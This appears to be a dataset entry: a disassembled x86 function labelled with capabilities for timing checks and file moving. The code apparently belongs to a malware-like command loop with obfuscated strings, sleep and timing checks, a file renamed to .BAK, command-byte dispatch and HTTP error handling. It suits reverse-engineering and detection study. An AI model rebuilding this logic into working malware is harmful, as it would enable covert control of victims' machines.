Function at 0x10003f8d
Capabilities:
Check for time delay via gettickcount
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x790
mov eax, dword [0x10009de0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x784], eax
xor ebx, ebx
xor eax, eax
push 0x206
mov word [ebp - 0x550], ax
lea eax, [ebp - 0x54e]
push ebx
push eax
mov byte [ebp - 0x769], bl
mov byte [ebp - 0x76a], bl
mov byte [ebp - 0x775], bl
mov dword [ebp - 0x790], ebx
call sub.msvcrt.dll_memset
push 0x214
lea eax, [ebp - 0x764]
push ebx
push eax
mov dword [ebp - 0x768], ebx
call sub.msvcrt.dll_memset
add esp, 0x18
cmp dword [ebp + 0xc], 0x7a1
je 0x10004016
push 0x3c
push str.316C1E679FDA8A3D.cab
call fcn.10006cee
pop ecx
pop ecx
jmp 0x10004a3e
mov eax, 0xff9a
mov word [ebp - 0x18], ax
add eax, 0xfffffff7
mov word [ebp - 0x16], ax
mov eax, 0xff92
mov word [ebp - 0x14], ax
add eax, 0xfffffffa
push edi
mov word [ebp - 0x12], ax
xor eax, eax
push 2
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x18]
pop edi
neg word [eax]
add eax, edi
cmp word [eax], bx
jne 0x10004043
push esi
lea eax, [ebp - 0x18]
push 0x103
push eax
lea esi, [ebp - 0x550]
call fcn.10003aa1
pop ecx
pop ecx
cmp word [ebp - 0x550], bx
je 0x10004083
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
push ebx
push eax
call fcn.10002633
pop ecx
pop ecx
mov eax, 0xffb3
mov word [ebp - 0x40], ax
add eax, 0xfffffffa
mov word [ebp - 0x3e], ax
mov eax, 0xffb7
mov word [ebp - 0x3c], ax
add eax, 5
mov word [ebp - 0x3a], ax
mov eax, 0xffb4
mov word [ebp - 0x38], ax
add eax, 0xffffffd6
mov word [ebp - 0x36], ax
mov eax, 0xffce
mov ecx, eax
mov word [ebp - 0x34], cx
add ecx, 0xfffffff1
mov word [ebp - 0x32], cx
lea ecx, [eax - 7]
mov edx, ecx
mov word [ebp - 0x2e], cx
inc ecx
mov word [ebp - 0x2c], cx
lea ecx, [eax - 5]
mov word [ebp - 0x2a], cx
mov ecx, eax
mov word [ebp - 0x28], cx
mov word [ebp - 0x26], cx
add ecx, 0xfffffffc
mov word [ebp - 0x30], dx
mov edx, ecx
mov dword [0x1000ca00], edi
mov word [ebp - 0x24], dx
mov dword [ebp - 0x22], 0xffceffba
mov dword [ebp - 0x1e], ecx
lea eax, [ebp - 0x40]
neg word [eax]
add eax, edi
cmp word [eax], bx
jne 0x10004104
cmp byte [ebp + 0x10], bl
jne 0x10004125
lea eax, [ebp - 0x40]
push eax
call fcn.10003a65
pop ecx
test al, al
je 0x10004a3c
push dword [ebp - 0x784]
push ebx
call fcn.10005d54
test byte [0x1000b53c], 0x80
pop ecx
pop ecx
je 0x100041ae
cmp dword [0x1000b540], ebx
jne 0x100041a8
mov eax, 0xff92
mov word [ebp - 0xc], ax
add eax, 0xfffffff9
mov word [ebp - 0xa], ax
mov eax, 0xff93
mov word [ebp - 8], ax
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0xc]
neg word [eax]
add eax, edi
cmp word [eax], bx
jne 0x10004166
lea eax, [ebp - 0xc]
push 0x103
push eax
lea esi, [ebp - 0x75c]
call fcn.10003aa1
pop ecx
pop ecx
cmp word [ebp - 0x75c], bx
je 0x10004199
mov dword [ebp - 0x768], 1
lea eax, [ebp - 0x768]
push eax
call section..text
pop ecx
jmp 0x100041ae
mov dword [ebp - 0x768], edi
cmp byte [ebp + 0x10], bl
jne 0x100041d5
push 0x1e
push str.316C1E679FDA8A3D.cab
call fcn.10006cee
pop ecx
pop ecx
test al, al
jne 0x100041d5
push 0x2af8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100049d3
mov edi, 0x1000bbf8
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x77c], eax
cmp eax, dword [0x1000b8ec]
jae 0x100041f4
mov dword [0x1000b8ec], ebx
cmp eax, dword [0x1000b8e8]
jae 0x10004202
mov dword [0x1000b8e8], ebx
test byte [0x1000b53c], 0x80
je 0x10004218
lea eax, [ebp - 0x768]
push eax
call section..text
pop ecx
test byte [0x1000b53c], 1
je 0x10004441
push edi
call fcn.10006946
mov esi, eax
pop ecx
cmp esi, 0x1000
jb 0x10004262
push 4
push esi
push edi
call fcn.10006823
add esp, 0xc
test al, al
je 0x10004262
push ebx
push 1
push edi
call fcn.100065d7
add esp, 0xc
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x100043db
cmp esi, ebx
jbe 0x100043db
push ebx
push ebx
push 0x1000bbf8
call fcn.10006992
mov edi, eax
add esp, 0xc
cmp edi, ebx
je 0x100043d6
cmp esi, 5
jbe 0x100043c7
mov al, byte [edi]
cmp al, 0x69
je 0x1000429e
cmp al, 0x6d
je 0x1000429e
cmp al, 0x63
jne 0x100043c7
mov ecx, dword [edi + 1]
lea eax, [ecx + 5]
cmp eax, esi
jae 0x100043c7
push ecx
lea ecx, [edi + 5]
push ecx
sub esi, eax
add eax, edi
push esi
push eax
call fcn.100027bf
mov esi, eax
add esp, 0x10
cmp esi, ebx
je 0x100043c7
mov al, byte [edi]
cmp al, 0x69
jne 0x100042da
push esi
call fcn.10005716
jmp 0x100043b7
cmp al, 0x63
jne 0x100043b8
push esi
lea ecx, [ebp - 0x770]
mov dword [ebp - 0x770], ebx
call fcn.10003ae2
pop ecx
test al, al
je 0x10004375
cmp dword [ebp - 0x770], 1
jne 0x10004344
test byte [0x1000b53c], 2
je 0x100043b8
lea eax, [ebp - 0x790]
push eax
movzx eax, byte [0x1000b8e4]
push ebx
push ebx
push ebx
push 0x1000baf8
push ebx
push eax
push ebx
call fcn.10003a3c
add esp, 0x20
test al, al
je 0x1000433b
and dword [0x1000b538], 0xfffffff7
mov byte [ebp - 0x76a], 1
jmp 0x1000436c
cmp dword [ebp - 0x770], 2
jne 0x1000435c
push 1
mov dword [0x1000b528], ebx
call fcn.1000154f
jmp 0x100043b7
cmp dword [ebp - 0x770], 3
jne 0x100043b8
mov byte [ebp - 0x775], 1
mov byte [ebp - 0x769], 1
jmp 0x100043b8
lea eax, [ebp - 0x776]
push eax
push esi
mov byte [ebp - 0x776], bl
call fcn.10001753
pop ecx
pop ecx
test al, al
je 0x100043a5
cmp byte [ebp - 0x776], bl
je 0x100043b8
push 1
call fcn.10001b6f
pop ecx
call fcn.10001bda
jmp 0x100043b8
call fcn.10001361
test al, al
jne 0x100043b8
push 1
push esi
call fcn.10001cc9
pop ecx
pop ecx
push ebx
call fcn.10001d3c
push esi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ecx
push ebx
call fcn.10001d3c
push edi
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ecx
mov edi, 0x1000bbf8
xor eax, eax
push 0x206
mov word [ebp - 0x248], ax
lea eax, [ebp - 0x246]
push ebx
push eax
call sub.msvcrt.dll_memset
push edi
push str._s.BAK
lea eax, [ebp - 0x248]
push 0x103
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
add esp, 0x1c
lea eax, [ebp - 0x248]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push ebx
test eax, eax
je 0x1000442d
lea eax, [ebp - 0x248]
push eax
jmp 0x1000442e
push edi
call fcn.10002633
pop ecx
pop ecx
cmp byte [ebp - 0x769], bl
jne 0x100049d3
test byte [0x1000b53c], 4
je 0x1000499f
mov eax, dword [ebp - 0x77c]
sub eax, dword [0x1000b8e8]
cmp eax, dword [0x1000b534]
jbe 0x1000499f
xor eax, eax
push 0x1fe
mov word [ebp - 0x244], ax
lea eax, [ebp - 0x242]
push ebx
push eax
call sub.msvcrt.dll_memset
xor eax, eax
lea edi, [ebp - 0x44]
add esp, 0xc
stosd dword es:[edi], eax
mov dword [ebp - 0x77c], ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1000b8e8], eax
lea eax, [ebp - 0x244]
push eax
push dword [0x1000b52c]
call fcn.100053f5
pop ecx
pop ecx
test al, al
je 0x1000497d
cmp dword [0x1000b540], ebx
je 0x100044e4
call fcn.10005273
mov dword [ebp - 0x77c], eax
cmp eax, ebx
je 0x100044da
or dword [0x1000b538], 0x100
jmp 0x100044e4
and dword [0x1000b538], 0xfffffeff
mov eax, dword [0x1000b530]
xor edx, edx
div dword [0x1000ca00]
mov eax, dword [0x1000b528]
push 0x19
pop ecx
xor esi, esi
mov dword [ebp - 0x770], ebx
mov dword [ebp - 0x774], ebx
mov edi, dword [edx*4 + 0x10009488]
xor edx, edx
div ecx
inc dword [0x1000b528]
test edx, edx
je 0x1000451d
inc esi
call fcn.10001361
test al, al
je 0x10004529
push 2
pop esi
mov eax, esi
sub eax, ebx
je 0x1000456b
dec eax
je 0x1000454c
dec eax
jne 0x10004587
push dword [0x1000b538]
mov dword [ebp - 0x780], 0x7a
call fcn.100013b6
jmp 0x10004580
mov dword [ebp - 0x780], 0x71
cmp dword [0x1000b540], ebx
jne 0x10004587
push dword [0x1000b538]
call fcn.1000342d
jmp 0x10004580
push dword [0x1000b538]
mov dword [ebp - 0x780], 0x70
call fcn.100035c7
pop ecx
mov dword [ebp - 0x770], eax
mov dword [ebp - 0x78c], ebx
mov dword [ebp - 0x788], ebx
mov esi, pe_nt_image_headers32
cmp dword [ebp - 0x770], ebx
je 0x100045b4
push dword [ebp - 0x770]
call dword [sym.imp.msvcrt.dll_wcslen]
pop ecx
lea esi, [eax + eax + 0x100]
call fcn.10004b5f
cmp word [edi], bx
jge 0x100045cb
mov eax, edi
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x100045c0
cmp dword [0x1000c524], 0x19
jae 0x100045df
push edi
call dword [sym.imp.msvcrt.dll_wcslen]
pop ecx
lea esi, [esi + eax*2]
mov eax, 0x4000
cmp esi, eax
jb 0x100045ea
mov esi, eax
push esi
call dword [sym.imp.msvcrt.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 0x774]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10001d2d
add esp, 0xc
cmp dword [ebp - 0x774], ebx
je 0x10004959
push 1
call fcn.10001d3c
push esi
push ebx
push dword [ebp - 0x774]
call sub.msvcrt.dll_memset
add esp, 0x10
cmp dword [ebp - 0x774], ebx
je 0x10004959
xor eax, eax
push 0xfe
mov word [ebp - 0x348], ax
lea eax, [ebp - 0x346]
push ebx
push eax
call sub.msvcrt.dll_memset
and dword [0x1000b538], 0xffffffef
add esp, 0xc
cmp dword [0x1000c524], 0x19
jb 0x100047c9
mov cx, word [0x1000950c]
cmp cx, bx
jge 0x10004684
mov eax, 0x1000950c
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x10004679
mov cx, word [0x1000952c]
cmp cx, bx
jge 0x100046a0
mov eax, 0x1000952c
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x10004695
mov cx, word [0x1000954c]
cmp cx, bx
jge 0x100046bc
mov eax, 0x1000954c
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x100046b1
mov cx, word [0x100094b0]
cmp cx, bx
jge 0x100046d8
mov eax, 0x100094b0
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x100046cd
mov eax, dword [ebp - 0x770]
cmp eax, ebx
jne 0x100046e7
mov eax, 0x100082b8
push eax
movzx eax, word [ebp - 0x780]
push 0x1000954c
push dword [0x1000b528]
shr esi, 1
push dword [0x1000b538]
sub esi, 3
push 0x1000952c
push eax
push 0x1000950c
push 0x100094b0
push esi
push dword [ebp - 0x774]
call dword [sym.imp.msvcrt.dll__snwprintf]
push 0x100082b0
push dword [ebp - 0x774]
call dword [sym.imp.msvcrt.dll_wcscat]
mov ax, word [0x100094a0]
add esp, 0x30
cmp ax, bx
jge 0x10004751
mov ecx, 0x100094a0
neg word [ecx]
add ecx, 2
cmp word [ecx], bx
jne 0x10004746
mov cx, word [0x10009490]
cmp cx, bx
jge 0x1000476d
mov eax, 0x10009490
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x10004762
mov cx, word [0x1000940c]
cmp cx, bx
jge 0x10004789
mov eax, 0x1000940c
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x1000477e
mov eax, 0x1000940c
cmp dword [ebp - 0x44], ebx
jne 0x10004798
mov eax, 0x10009490
push edi
lea ecx, [ebp - 0x244]
push ecx
push eax
push 0x100094a0
lea eax, [ebp - 0x348]
push 0x7f
push eax
call dword [sym.imp.msvcrt.dll__snwprintf]
mov edi, dword [ebp - 0x774]
add esp, 0x18
lea esi, [ebp - 0x348]
jmp 0x10004879
mov cx, word [0x100094e0]
cmp cx, bx
jge 0x100047e5
mov eax, 0x100094e0
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x100047da
mov cx, word [0x10009490]
cmp cx, bx
jge 0x10004801
mov eax, 0x10009490
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x100047f6
mov cx, word [0x1000940c]
cmp cx, bx
jge 0x1000481d
mov eax, 0x1000940c
neg word [eax]
add eax, 2
cmp word [eax], bx
jne 0x10004812
mov ecx, dword [ebp - 0x770]
cmp ecx, ebx
jne 0x1000482c
mov ecx, 0x100082b8
mov eax, 0x1000940c
cmp dword [ebp - 0x44], ebx
jne 0x1000483b
mov eax, 0x10009490
push ecx
movzx ecx, word [ebp - 0x780]
push ecx
push dword [0x1000b528]
lea ecx, [ebp - 0x244]
push dword [0x1000b538]
shr esi, 1
push edi
push ecx
push eax
push 0x100094e0
dec esi
push esi
push dword [ebp - 0x774]
call dword [sym.imp.msvcrt.dll__snwprintf]
mov esi, dword [ebp - 0x774]
add esp, 0x28
xor edi, edi
push 0x1000bbf8
call fcn.10006f60
lea eax, [ebp - 0x78c]
push eax
push 0x1000bbf8
push edi
push dword [ebp - 0x77c]
push dword [ebp - 0x44]
push esi
call fcn.10004ce3
add esp, 0x1c
test al, al
je 0x100048c3
cmp dword [ebp - 0x788], ebx
ja 0x100048ba
cmp dword [ebp - 0x78c], ebx
jbe 0x1000493d
or dword [0x1000b538], 0x10
jmp 0x1000493d
mov eax, dword [0x1000c530]
cmp eax, 0x80200010
je 0x10004921
cmp eax, 0x80072ee2
je 0x10004921
cmp eax, 0x80190190
jb 0x100048e4
cmp eax, 0x801901a1
jbe 0x100048eb
cmp eax, 0x801901c1
jne 0x10004900
inc dword [0x1000b530]
mov eax, dword [0x1000b530]
cmp eax, dword [0x1000ca00]
jb 0x1000493d
jmp 0x10004931
cmp eax, 0x80010108
je 0x1000491a
cmp eax, 0x800706ba
je 0x1000491a
inc dword [0x1000b52c]
mov dword [0x1000b530], ebx
call fcn.10004b41
jmp 0x1000493d
mov eax, dword [0x1000b528]
push 0x1e
xor edx, edx
pop ecx
div ecx
test edx, edx
jne 0x1000493d
inc dword [0x1000b52c]
mov dword [0x1000b530], ebx
cmp dword [ebp - 0x774], ebx
je 0x10004959
push ebx
call fcn.10001d3c
push dword [ebp - 0x774]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ecx
mov dword [ebp - 0x774], ebx
cmp dword [ebp - 0x770], ebx
je 0x10004983
push ebx
call fcn.10001d3c
push dword [ebp - 0x770]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ecx
jmp 0x10004983
inc dword [0x1000b52c]
cmp dword [ebp - 0x77c], ebx
je 0x1000499f
push ebx
call fcn.10001d3c
push dword [ebp - 0x77c]
call dword [sym.imp.msvcrt.dll_free]
pop ecx
pop ecx
mov eax, dword [0x1000c568]
push 0x2af8
cmp eax, ebx
je 0x100049c1
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x100049c7
mov byte [ebp - 0x769], 1
jmp 0x100049c7
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [ebp - 0x769], bl
je 0x100041d5
call fcn.100057fb
cmp byte [ebp - 0x76a], bl
je 0x100049f5
call fcn.10002660
cmp byte [ebp + 0x10], bl
jne 0x100049f5
push 0x1000b8f0
call fcn.10002748
pop ecx
mov eax, dword [ebp - 0x784]
cmp eax, ebx
je 0x10004a37
cmp dword [eax], 0x41c
jb 0x10004a37
mov dword [eax + 0x418], 1
cmp byte [ebp - 0x76a], bl
je 0x10004a25
mov dword [eax + 0x418], 3
jmp 0x10004a37
cmp byte [ebp - 0x775], bl
je 0x10004a37
mov dword [eax + 0x418], 2
call fcn.10003a4d
pop esi
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.10007260
leave
ret 0xc